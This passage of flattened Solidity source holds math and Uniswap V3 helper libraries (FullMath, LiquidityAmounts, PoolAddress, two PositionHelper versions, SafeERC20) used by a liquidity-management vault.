way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.4.0; /// @title FixedPoint128 /// @notice A library for handling binary fixed point numbers, see https://en.wikipedia.org/wiki/Q_(number_format) library FixedPoint128 { uint256 internal constant Q128 = 0x100000000000000000000000000000000; } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.4.0; /// @title FixedPoint96 /// @notice A library for handling binary fixed point numbers, see https://en.wikipedia.org/wiki/Q_(number_format) /// @dev Used in SqrtPriceMath.sol library FixedPoint96 { uint8 internal constant RESOLUTION = 96; uint256 internal constant Q96 = 0x1000000000000000000000000; } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.4.0; /// @title Contains 512-bit math functions /// @notice Facilitates multiplication and division that can have overflow of an intermediate value without any loss of precision /// @dev Handles "phantom overflow" i.e., allows multiplication and division where an intermediate value overflows 256 bits library FullMath { /// @notice Calculates floor(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0 /// @param a The multiplicand /// @param b The multiplier /// @param denominator The divisor /// @return result The 256-bit result /// @dev Credit to Remco Bloemen under MIT license https://xn--2-umb.com/21/muldiv function mulDiv( uint256 a, uint256 b, uint256 denominator ) internal pure returns (uint256 result) { // 512-bit multiply [prod1 prod0] = a * b // Compute the product mod 2**256 and mod 2**256 - 1 // then use the Chinese Remainder Theorem to reconstruct // the 512 bit result. The result is stored in two 256 // variables such that product = prod1 * 2**256 + prod0 uint256 prod0; // Least significant 256 bits of the product uint256 prod1; // Most significant 256 bits of the product assembly { let mm := mulmod(a, b, not(0)) prod0 := mul(a, b) prod1 := sub(sub(mm, prod0), lt(mm, prod0)) } // Handle non-overflow cases, 256 by 256 division if (prod1 == 0) { require(denominator > 0); assembly { result := div(prod0, denominator) } return result; } // Make sure the result is less than 2**256. // Also prevents denominator == 0 require(denominator > prod1); /////////////////////////////////////////////// // 512 by 256 division. /////////////////////////////////////////////// // Make division exact by subtracting the remainder from [prod1 prod0] // Compute remainder using mulmod uint256 remainder; assembly { remainder := mulmod(a, b, denominator) } // Subtract 256 bit number from 512 bit number assembly { prod1 := sub(prod1, gt(remainder, prod0)) prod0 := sub(prod0, remainder) } // Factor powers of two out of denominator // Compute largest power of two divisor of denominator. // Always >= 1. uint256 twos = -denominator & denominator; // Divide denominator by power of two assembly { denominator := div(denominator, twos) } // Divide [prod1 prod0] by the factors of two assembly { prod0 := div(prod0, twos) } // Shift in bits from prod1 into prod0. For this we need // to flip `twos` such that it is 2**256 / twos. // If twos is zero, then it becomes one assembly { twos := add(div(sub(0, twos), twos), 1) } prod0 |= prod1 * twos; // Invert denominator mod 2**256 // Now that denominator is an odd number, it has an inverse // modulo 2**256 such that denominator * inv = 1 mod 2**256. // Compute the inverse by starting with a seed that is correct // correct for four bits. That is, denominator * inv = 1 mod 2**4 uint256 inv = (3 * denominator) ^ 2; // Now use Newton-Raphson iteration to improve the precision. // Thanks to Hensel's lifting lemma, this also works in modular // arithmetic, doubling the correct bits in each step. inv *= 2 - denominator * inv; // inverse mod 2**8 inv *= 2 - denominator * inv; // inverse mod 2**16 inv *= 2 - denominator * inv; // inverse mod 2**32 inv *= 2 - denominator * inv; // inverse mod 2**64 inv *= 2 - denominator * inv; // inverse mod 2**128 inv *= 2 - denominator * inv; // inverse mod 2**256 // Because the division is now exact we can divide by multiplying // with the modular inverse of denominator. This will give us the // correct result modulo 2**256. Since the precoditions guarantee // that the outcome is less than 2**256, this is the final result. // We don't need to compute the high bits of the result and prod1 // is no longer required. result = prod0 * inv; return result; } /// @notice Calculates ceil(a×b÷denominator) with full precision. Throws if result overflows a uint256 or denominator == 0 /// @param a The multiplicand /// @param b The multiplier /// @param denominator The divisor /// @return result The 256-bit result function mulDivRoundingUp( uint256 a, uint256 b, uint256 denominator ) internal pure returns (uint256 result) { result = mulDiv(a, b, denominator); if (mulmod(a, b, denominator) > 0) { require(result < type(uint256).max); result++; } } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; import './FullMath.sol'; import './FixedPoint96.sol'; /// @title Liquidity amount functions /// @notice Provides functions for computing liquidity amounts from token amounts and prices library LiquidityAmounts { /// @notice Downcasts uint256 to uint128 /// @param x The uint258 to be downcasted /// @return y The passed value, downcasted to uint128 function toUint128(uint256 x) private pure returns (uint128 y) { require((y = uint128(x)) == x); } /// @notice Computes the amount of liquidity received for a given amount of token0 and price range /// @dev Calculates amount0 * (sqrt(upper) * sqrt(lower)) / (sqrt(upper) - sqrt(lower)) /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param amount0 The amount0 being sent in /// @return liquidity The amount of returned liquidity function getLiquidityForAmount0( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint256 amount0 ) internal pure returns (uint128 liquidity) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); uint256 intermediate = FullMath.mulDiv(sqrtRatioAX96, sqrtRatioBX96, FixedPoint96.Q96); return toUint128(FullMath.mulDiv(amount0, intermediate, sqrtRatioBX96 - sqrtRatioAX96)); } /// @notice Computes the amount of liquidity received for a given amount of token1 and price range /// @dev Calculates amount1 / (sqrt(upper) - sqrt(lower)). /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param amount1 The amount1 being sent in /// @return liquidity The amount of returned liquidity function getLiquidityForAmount1( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint256 amount1 ) internal pure returns (uint128 liquidity) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); return toUint128(FullMath.mulDiv(amount1, FixedPoint96.Q96, sqrtRatioBX96 - sqrtRatioAX96)); } /// @notice Computes the maximum amount of liquidity received for a given amount of token0, token1, the current /// pool prices and the prices at the tick boundaries /// @param sqrtRatioX96 A sqrt price representing the current pool prices /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param amount0 The amount of token0 being sent in /// @param amount1 The amount of token1 being sent in /// @return liquidity The maximum amount of liquidity received function getLiquidityForAmounts( uint160 sqrtRatioX96, uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint256 amount0, uint256 amount1 ) internal pure returns (uint128 liquidity) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); if (sqrtRatioX96 <= sqrtRatioAX96) { liquidity = getLiquidityForAmount0(sqrtRatioAX96, sqrtRatioBX96, amount0); } else if (sqrtRatioX96 < sqrtRatioBX96) { uint128 liquidity0 = getLiquidityForAmount0(sqrtRatioX96, sqrtRatioBX96, amount0); uint128 liquidity1 = getLiquidityForAmount1(sqrtRatioAX96, sqrtRatioX96, amount1); liquidity = liquidity0 < liquidity1 ? liquidity0 : liquidity1; } else { liquidity = getLiquidityForAmount1(sqrtRatioAX96, sqrtRatioBX96, amount1); } } /// @notice Computes the amount of token0 for a given amount of liquidity and a price range /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param liquidity The liquidity being valued /// @return amount0 The amount of token0 function getAmount0ForLiquidity( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint128 liquidity ) internal pure returns (uint256 amount0) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); return FullMath.mulDiv( uint256(liquidity) << FixedPoint96.RESOLUTION, sqrtRatioBX96 - sqrtRatioAX96, sqrtRatioBX96 ) / sqrtRatioAX96; } /// @notice Computes the amount of token1 for a given amount of liquidity and a price range /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param liquidity The liquidity being valued /// @return amount1 The amount of token1 function getAmount1ForLiquidity( uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint128 liquidity ) internal pure returns (uint256 amount1) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); return FullMath.mulDiv(liquidity, sqrtRatioBX96 - sqrtRatioAX96, FixedPoint96.Q96); } /// @notice Computes the token0 and token1 value for a given amount of liquidity, the current /// pool prices and the prices at the tick boundaries /// @param sqrtRatioX96 A sqrt price representing the current pool prices /// @param sqrtRatioAX96 A sqrt price representing the first tick boundary /// @param sqrtRatioBX96 A sqrt price representing the second tick boundary /// @param liquidity The liquidity being valued /// @return amount0 The amount of token0 /// @return amount1 The amount of token1 function getAmountsForLiquidity( uint160 sqrtRatioX96, uint160 sqrtRatioAX96, uint160 sqrtRatioBX96, uint128 liquidity ) internal pure returns (uint256 amount0, uint256 amount1) { if (sqrtRatioAX96 > sqrtRatioBX96) (sqrtRatioAX96, sqrtRatioBX96) = (sqrtRatioBX96, sqrtRatioAX96); if (sqrtRatioX96 <= sqrtRatioAX96) { amount0 = getAmount0ForLiquidity(sqrtRatioAX96, sqrtRatioBX96, liquidity); } else if (sqrtRatioX96 < sqrtRatioBX96) { amount0 = getAmount0ForLiquidity(sqrtRatioX96, sqrtRatioBX96, liquidity); amount1 = getAmount1ForLiquidity(sqrtRatioAX96, sqrtRatioX96, liquidity); } else { amount1 = getAmount1ForLiquidity(sqrtRatioAX96, sqrtRatioBX96, liquidity); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } // SPDX-License-Identifier: GPL-2.0-or-later pragma solidity >=0.5.0; /// @title Provides functions for deriving a pool address from the factory, tokens, and the fee library PoolAddress { bytes32 internal constant POOL_INIT_CODE_HASH = 0xe34f199b19b2b4f47f68442619d555527d244f78a3297ea89325f843f87b8b54; /// @notice The identifying key of the pool struct PoolKey { address token0; address token1; uint24 fee; } /// @notice Returns PoolKey: the ordered tokens with the matched fee levels /// @param tokenA The first token of a pool, unsorted /// @param tokenB The second token of a pool, unsorted /// @param fee The fee level of the pool /// @return Poolkey The pool details with ordered token0 and token1 assignments function getPoolKey( address tokenA, address tokenB, uint24 fee ) internal pure returns (PoolKey memory) { if (tokenA > tokenB) (tokenA, tokenB) = (tokenB, tokenA); return PoolKey({token0: tokenA, token1: tokenB, fee: fee}); } /// @notice Deterministically computes the pool address given the factory and PoolKey /// @param factory The Uniswap V3 factory contract address /// @param key The PoolKey /// @return pool The contract address of the V3 pool function computeAddress(address factory, PoolKey memory key) internal pure returns (address pool) { require(key.token0 < key.token1); pool = address( uint256( keccak256( abi.encodePacked( hex'ff', factory, keccak256(abi.encode(key.token0, key.token1, key.fee)), POOL_INIT_CODE_HASH ) ) ) ); } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; pragma abicoder v2; import "./LiquidityAmounts.sol"; import "./TickMath.sol"; import "./FullMath.sol"; import "./FixedPoint128.sol"; import "./SafeMath.sol"; import "../interfaces/IUniswapV3Pool.sol"; library PositionHelper { using SafeMath for uint256; struct Position { address poolAddress; int24 lowerTick; int24 upperTick; int24 tickSpacing; bool status; // True - InvestIn False - NotInvest } /* ========== VIEW ========== */ function _positionInfo( Position memory position ) internal view returns(uint128, uint256, uint256, uint256, uint256){ // Pool OBJ IUniswapV3Pool pool = IUniswapV3Pool(position.poolAddress); // Get Position Key bytes32 positionKey = keccak256(abi.encodePacked(address(this), position.lowerTick, position.upperTick)); // Get Position Detail return pool.positions(positionKey); } function _tickInfo( IUniswapV3Pool pool, int24 tick ) internal view returns (uint256 feeGrowthOutside0X128, uint256 feeGrowthOutside1X128) { // liquidityGross\liquidityNet\0\1\tickCumulativeOutside\secondsPerLiquidityOutsideX128\secondsOutside\initialized ( , , feeGrowthOutside0X128, feeGrowthOutside1X128, , , , ) = pool.ticks(tick); } function _getFeeGrowthInside( Position memory position ) internal view returns (uint256, uint256) { IUniswapV3Pool pool = IUniswapV3Pool(position.poolAddress); (int24 tickCurrent, uint256 feeGrowthGlobal0X128, uint256 feeGrowthGlobal1X128) = _poolInfo(pool); // calculate fee growth below (uint256 feeGrowthBelow0X128, uint256 feeGrowthBelow1X128) = _tickInfo(pool, position.lowerTick); if (tickCurrent < position.lowerTick) { feeGrowthBelow0X128 = feeGrowthGlobal0X128 - feeGrowthBelow0X128; feeGrowthBelow1X128 = feeGrowthGlobal1X128 - feeGrowthBelow1X128; } // calculate fee growth above (uint256 feeGrowthAbove0X128, uint256 feeGrowthAbove1X128) = _tickInfo(pool, position.upperTick); if (tickCurrent >= position.upperTick) { feeGrowthAbove0X128 = feeGrowthGlobal0X128 - feeGrowthAbove0X128; feeGrowthAbove1X128 = feeGrowthGlobal1X128 - feeGrowthAbove1X128; } // calculate inside uint256 feeGrowthInside0X128 = feeGrowthGlobal0X128 - feeGrowthBelow0X128 - feeGrowthAbove0X128; uint256 feeGrowthInside1X128 = feeGrowthGlobal1X128 - feeGrowthBelow1X128 - feeGrowthAbove1X128; return(feeGrowthInside0X128, feeGrowthInside1X128); } function _getPendingAmounts( Position memory position, uint128 liquidity, uint256 feeGrowthInside0LastX128, uint256 feeGrowthInside1LastX128 ) internal view returns(uint256 tokensPending0, uint256 tokensPending1) { // feeInside (uint256 feeGrowthInside0X128, uint256 feeGrowthInside1X128) = _getFeeGrowthInside(position); // pending calculate tokensPending0 = FullMath.mulDiv( feeGrowthInside0X128 - feeGrowthInside0LastX128, liquidity, FixedPoint128.Q128 ); tokensPending1 = FullMath.mulDiv( feeGrowthInside1X128 - feeGrowthInside1LastX128, liquidity, FixedPoint128.Q128 ); } function _getTotalAmounts(Position memory position) internal view returns (uint256 total0, uint256 total1) { // Pool OBJ IUniswapV3Pool pool = IUniswapV3Pool(position.poolAddress); // position info (uint128 liquidity, uint256 feeGrowthInside0LastX128, uint256 feeGrowthInside1LastX128, , ) = _positionInfo(position); // liquidity Amount (uint160 sqrtRatioX96, , , , , , ) = pool.slot0(); (total0, total1) = LiquidityAmounts.getAmountsForLiquidity( sqrtRatioX96, TickMath.getSqrtRatioAtTick(position.lowerTick), TickMath.getSqrtRatioAtTick(position.upperTick), liquidity ); // get Pending (uint256 pending0, uint256 pending1) = _getPendingAmounts(position, liquidity, feeGrowthInside0LastX128, feeGrowthInside1LastX128); total0 = total0 + pending0; total1 = total1 + pending1; } function _getTotalAmounts(Position memory position, uint8 _performanceFee) internal view returns (uint256 total0, uint256 total1) { // Pool OBJ IUniswapV3Pool pool = IUniswapV3Pool(position.poolAddress); // position info (uint128 liquidity, uint256 feeGrowthInside0LastX128, uint256 feeGrowthInside1LastX128, , ) = _positionInfo(position); // liquidity Amount (uint160 sqrtRatioX96, , , , , , ) = pool.slot0(); (total0, total1) = LiquidityAmounts.getAmountsForLiquidity( sqrtRatioX96, TickMath.getSqrtRatioAtTick(position.lowerTick), TickMath.getSqrtRatioAtTick(position.upperTick), liquidity ); // get Pending (uint256 pending0, uint256 pending1) = _getPendingAmounts(position, liquidity, feeGrowthInside0LastX128, feeGrowthInside1LastX128); total0 = total0 + pending0; total1 = total1 + pending1; if(_performanceFee > 0){ total0 = total0.sub(pending0.div(_performanceFee)); total1 = total1.sub(pending1.div(_performanceFee)); } } function _poolInfo(IUniswapV3Pool pool) internal view returns (int24, uint256, uint256) { ( , int24 tick, , , , , ) = pool.slot0(); uint256 feeGrowthGlobal0X128 = pool.feeGrowthGlobal0X128(); uint256 feeGrowthGlobal1X128 = pool.feeGrowthGlobal1X128(); // return return (tick, feeGrowthGlobal0X128, feeGrowthGlobal1X128); } /* ========== BASE FUNCTION ========== */ function _addLiquidity( Position memory position, uint128 liquidity ) internal returns (uint256 amount0, uint256 amount1){ // Pool OBJ IUniswapV3Pool pool = IUniswapV3Pool(position.poolAddress); // add Liquidity on Uniswap (amount0, amount1) = pool.mint( address(this), position.lowerTick, position.upperTick, liquidity, "" ); } function _burnLiquidity( Position memory position, uint128 liquidity ) internal returns (uint256 amount0, uint256 amount1) { // Pool OBJ IUniswapV3Pool pool = IUniswapV3Pool(position.poolAddress); (amount0, amount1) = pool.burn(position.lowerTick, position.upperTick, liquidity); } function _collect( Position memory position, address to, uint128 amount0, uint128 amount1 ) internal returns (uint256 collect0, uint256 collect1) { // Pool OBJ IUniswapV3Pool pool = IUniswapV3Pool(position.poolAddress); // collect ALL to Vault (collect0, collect1) = pool.collect( to, position.lowerTick, position.upperTick, amount0, amount1 ); } /* ========== SENIOR FUNCTION ========== */ function _addAll( Position memory position, uint256 balance0, uint256 balance1 ) internal returns(uint256 amount0, uint256 amount1){ // Pool OBJ IUniswapV3Pool pool = IUniswapV3Pool(position.poolAddress); // Calculate Liquidity (uint160 sqrtRatioX96, , , , , , ) = pool.slot0(); uint128 liquidity = LiquidityAmounts.getLiquidityForAmounts( sqrtRatioX96, TickMath.getSqrtRatioAtTick(position.lowerTick), TickMath.getSqrtRatioAtTick(position.upperTick), balance0, balance1 ); // Add to Pool (amount0, amount1) = _addLiquidity(position, liquidity); } function _burnSpecific( Position memory position, uint128 liquidity, address to ) internal returns(uint256 amount0, uint256 amount1, uint fee0, uint fee1){ // Burn (amount0, amount1) = _burnLiquidity(position, liquidity); // Collect to user _collect(position, to, uint128(amount0), uint128(amount1)); // Collect to Vault (fee0, fee1) = _collect(position, address(this), type(uint128).max, type(uint128).max); } function _burnAll(Position memory position) internal returns(uint, uint) { // Read Liq (uint128 liquidity, , , , ) = _positionInfo(position); return _burn(position, liquidity); } function _burn(Position memory position, uint128 liquidity) internal returns(uint256 fee0, uint256 fee1) { // Burn (uint amt0, uint amt1) = _burnLiquidity(position, liquidity); // Collect (fee0, fee1) = _collect(position, address(this), type(uint128).max, type(uint128).max); fee0 = fee0 - amt0; fee1 = fee1 - amt1; } function _getReBalanceTicks( PositionHelper.Position memory position, int24 reBalanceThreshold, int24 band ) internal view returns (bool status, int24 lowerTick, int24 upperTick) { // get Current Tick IUniswapV3Pool pool = IUniswapV3Pool(position.poolAddress); ( , int24 tick, , , , , ) = pool.slot0(); bool lowerRebalance; // Check status if (position.status) { int24 middleTick = (position.lowerTick + position.upperTick) / 2; if (middleTick - tick >= reBalanceThreshold) { status = true; lowerRebalance = true; }else if(tick - middleTick >= reBalanceThreshold){ status = true; } } else { status = true; } // get new ticks if (status) { if(lowerRebalance && (tick % position.tickSpacing != 0)){ tick = _floor(tick, position.tickSpacing) + position.tickSpacing ; }else{ tick = _floor(tick, position.tickSpacing); } band = _floor(band, position.tickSpacing); lowerTick = tick - band; upperTick = tick + band; } } function checkDiffTick(PositionHelper.Position memory position, int24 _tick, uint24 _diffTick) internal view { // get Current Tick IUniswapV3Pool pool = IUniswapV3Pool(position.poolAddress); ( , int24 tick, , , , , ) = pool.slot0(); require(tick - _tick < int24(_diffTick) && _tick - tick < int24(_diffTick), "DIFF TICK"); } function _floor(int24 tick, int24 _tickSpacing) internal pure returns (int24) { int24 compressed = tick / _tickSpacing; if (tick < 0 && tick % _tickSpacing != 0) compressed--; return compressed * _tickSpacing; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.6; pragma abicoder v2; import "./LiquidityAmounts.sol"; import "./TickMath.sol"; import "./FullMath.sol"; import "./FixedPoint128.sol"; import "./SafeMath.sol"; import "../interfaces/IUniswapV3Pool.sol"; library PositionHelperV3 { using SafeMath for uint256; struct Position { uint128 principal0; uint128 principal1; address poolAddress; int24 lowerTick; int24 upperTick; int24 tickSpacing; bool status; // True - InvestIn False - NotInvest } /* ========== VIEW ========== */ function _positionInfo( Position memory position ) internal view returns(uint128, uint256, uint256, uint256, uint256){ // Pool OBJ IUniswapV3Pool pool = IUniswapV3Pool(position.poolAddress); // Get Position Key bytes32 positionKey = keccak256(abi.encodePacked(address(this), position.lowerTick, position.upperTick)); // Get Position Detail return pool.positions(positionKey); } function _tickInfo( IUniswapV3Pool pool, int24 tick ) internal view returns (uint256 feeGrowthOutside0X128, uint256 feeGrowthOutside1X128) { // liquidityGross\liquidityNet\0\1\tickCumulativeOutside\secondsPerLiquidityOutsideX128\secondsOutside\initialized ( , , feeGrowthOutside0X128, feeGrowthOutside1X128, , , , ) = pool.ticks(tick); } function _getFeeGrowthInside( Position memory position ) internal view returns (uint256, uint256) { IUniswapV3Pool pool = IUniswapV3Pool(position.poolAddress); (int24 tickCurrent, uint256 feeGrowthGlobal0X128, uint256 feeGrowthGlobal1X128) = _poolInfo(pool); // calculate fee growth below (uint256 feeGrowthBelow0X128, uint256 feeGrowthBelow1X128) = _tickInfo(pool, position.lowerTick); if (tickCurrent < position.lowerTick) { feeGrowthBelow0X128 = feeGrowthGlobal0X128 - feeGrowthBelow0X128; feeGrowthBelow1X128 = feeGrowthGlobal1X128 - feeGrowthBelow1X128; } // calculate fee growth above (uint256 feeGrowthAbove0X128, uint256 feeGrowthAbove1X128) = _tickInfo(pool, position.upperTick); if (tickCurrent >= position.upperTick) { feeGrowthAbove0X128 = feeGrowthGlobal0X128 - feeGrowthAbove0X128; feeGrowthAbove1X128 = feeGrowthGlobal1X128 - feeGrowthAbove1X128; } // calculate inside uint256 feeGrowthInside0X128 = feeGrowthGlobal0X128 - feeGrowthBelow0X128 - feeGrowthAbove0X128; uint256 feeGrowthInside1X128 = feeGrowthGlobal1X128 - feeGrowthBelow1X128 - feeGrowthAbove1X128; return(feeGrowthInside0X128, feeGrowthInside1X128); } function _getPendingAmounts( Position memory position, uint128 liquidity, uint256 feeGrowthInside0LastX128, uint256 feeGrowthInside1LastX128 ) internal view returns(uint256 tokensPending0, uint256 tokensPending1) { // feeInside (uint256 feeGrowthInside0X128, uint256 feeGrowthInside1X128) = _getFeeGrowthInside(position); // pending calculate tokensPending0 = FullMath.mulDiv( feeGrowthInside0X128 - feeGrowthInside0LastX128, liquidity, FixedPoint128.Q128 ); tokensPending1 = FullMath.mulDiv( feeGrowthInside1X128 - feeGrowthInside1LastX128, liquidity, FixedPoint128.Q128 ); } function _getTotalAmounts(Position memory position, uint8 _performanceFee) internal view returns (uint256 total0, uint256 total1) { // Pool OBJ IUniswapV3Pool pool = IUniswapV3Pool(position.poolAddress); // position info (uint128 liquidity, uint256 feeGrowthInside0LastX128, uint256 feeGrowthInside1LastX128, , ) = _positionInfo(position); // liquidity Amount (uint160 sqrtRatioX96, , , , , , ) = pool.slot0(); (total0, total1) = LiquidityAmounts.getAmountsForLiquidity( sqrtRatioX96, TickMath.getSqrtRatioAtTick(position.lowerTick), TickMath.getSqrtRatioAtTick(position.upperTick), liquidity ); // get Pending (uint256 pending0, uint256 pending1) = _getPendingAmounts(position, liquidity, feeGrowthInside0LastX128, feeGrowthInside1LastX128); total0 = total0 + pending0; total1 = total1 + pending1; if (_performanceFee > 0) { total0 = total0.sub(pending0.div(_performanceFee)); total1 = total1.sub(pending1.div(_performanceFee)); } } function _poolInfo(IUniswapV3Pool pool) internal view returns (int24, uint256, uint256) { ( , int24 tick, , , , , ) = pool.slot0(); uint256 feeGrowthGlobal0X128 = pool.feeGrowthGlobal0X128(); uint256 feeGrowthGlobal1X128 = pool.feeGrowthGlobal1X128(); // return return (tick, feeGrowthGlobal0X128, feeGrowthGlobal1X128); } /* ========== BASE FUNCTION ========== */ function _addLiquidity( Position memory position, uint128 liquidity ) internal returns (uint256 amount0, uint256 amount1){ // Pool OBJ IUniswapV3Pool pool = IUniswapV3Pool(position.poolAddress); // add Liquidity on Uniswap (amount0, amount1) = pool.mint( address(this), position.lowerTick, position.upperTick, liquidity, "" ); } function _burnLiquidity( Position memory position, uint128 liquidity ) internal returns (uint256 amount0, uint256 amount1) { // Pool OBJ IUniswapV3Pool pool = IUniswapV3Pool(position.poolAddress); (amount0, amount1) = pool.burn(position.lowerTick, position.upperTick, liquidity); } function _collect( Position memory position, address to, uint128 amount0, uint128 amount1 ) internal returns (uint256 collect0, uint256 collect1) { // Pool OBJ IUniswapV3Pool pool = IUniswapV3Pool(position.poolAddress); // collect ALL to Vault (collect0, collect1) = pool.collect( to, position.lowerTick, position.upperTick, amount0, amount1 ); } /* ========== SENIOR FUNCTION ========== */ function _addAll( Position memory position, uint256 balance0, uint256 balance1 ) internal returns(uint256 amount0, uint256 amount1){ // Pool OBJ IUniswapV3Pool pool = IUniswapV3Pool(position.poolAddress); // Calculate Liquidity (uint160 sqrtRatioX96, , , , , , ) = pool.slot0(); uint128 liquidity = LiquidityAmounts.getLiquidityForAmounts( sqrtRatioX96, TickMath.getSqrtRatioAtTick(position.lowerTick), TickMath.getSqrtRatioAtTick(position.upperTick), balance0, balance1 ); // Add to Pool (amount0, amount1) = _addLiquidity(position, liquidity); } function _burnAll( Position memory position ) internal returns(uint256, uint256, uint256, uint256) { // Read Liq (uint128 liquidity, , , , ) = _positionInfo(position); if(liquidity == 0) return (0, 0, 0, 0); return _burn(position, liquidity); } function _burn( Position memory position, uint128 liquidity ) internal returns(uint256 amount0, uint256 amount1, uint256 fee0, uint256 fee1) { // Burn (fee0, fee1) = _burnLiquidity(position, liquidity); // Collect (amount0, amount1) = _collect(position, address(this), type(uint128).max, type(uint128).max); fee0 = amount0 - fee0; fee1 = amount1 - fee1; } function _getReBalanceTicks( Position memory position, int24 reBalanceThreshold, int24 band ) internal view returns (bool status, int24 lowerTick, int24 upperTick) { // get Current Tick IUniswapV3Pool pool = IUniswapV3Pool(position.poolAddress); ( , int24 tick, , , , , ) = pool.slot0(); bool lowerRebalance; // Check status if (position.status) { int24 middleTick = (position.lowerTick + position.upperTick) / 2; if (middleTick - tick >= reBalanceThreshold) { status = true; lowerRebalance = true; }else if(tick - middleTick >= reBalanceThreshold){ status = true; } } else { status = true; } // get new ticks if (status) { if(lowerRebalance && (tick % position.tickSpacing != 0)){ tick = _floor(tick, position.tickSpacing) + position.tickSpacing ; }else{ tick = _floor(tick, position.tickSpacing); } band = _floor(band, position.tickSpacing); lowerTick = tick - band; upperTick = tick + band; } } function checkDiffTick(Position memory position, int24 _tick, uint24 _diffTick) internal view { // get Current Tick IUniswapV3Pool pool = IUniswapV3Pool(position.poolAddress); ( , int24 tick, , , , , ) = pool.slot0(); require(tick - _tick < int24(_diffTick) && _tick - tick < int24(_diffTick), "DIFF TICK"); } function _floor(int24 tick, int24 _tickSpacing) internal pure returns (int24) { int24 compressed = tick / _tickSpacing; if (tick < 0 && tick % _tickSpacing != 0) compressed--; return compressed * _tickSpacing; } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; import "../interfaces/IERC20.sol"; import "./SafeMath.sol"; import "./Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity ^0.7.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * 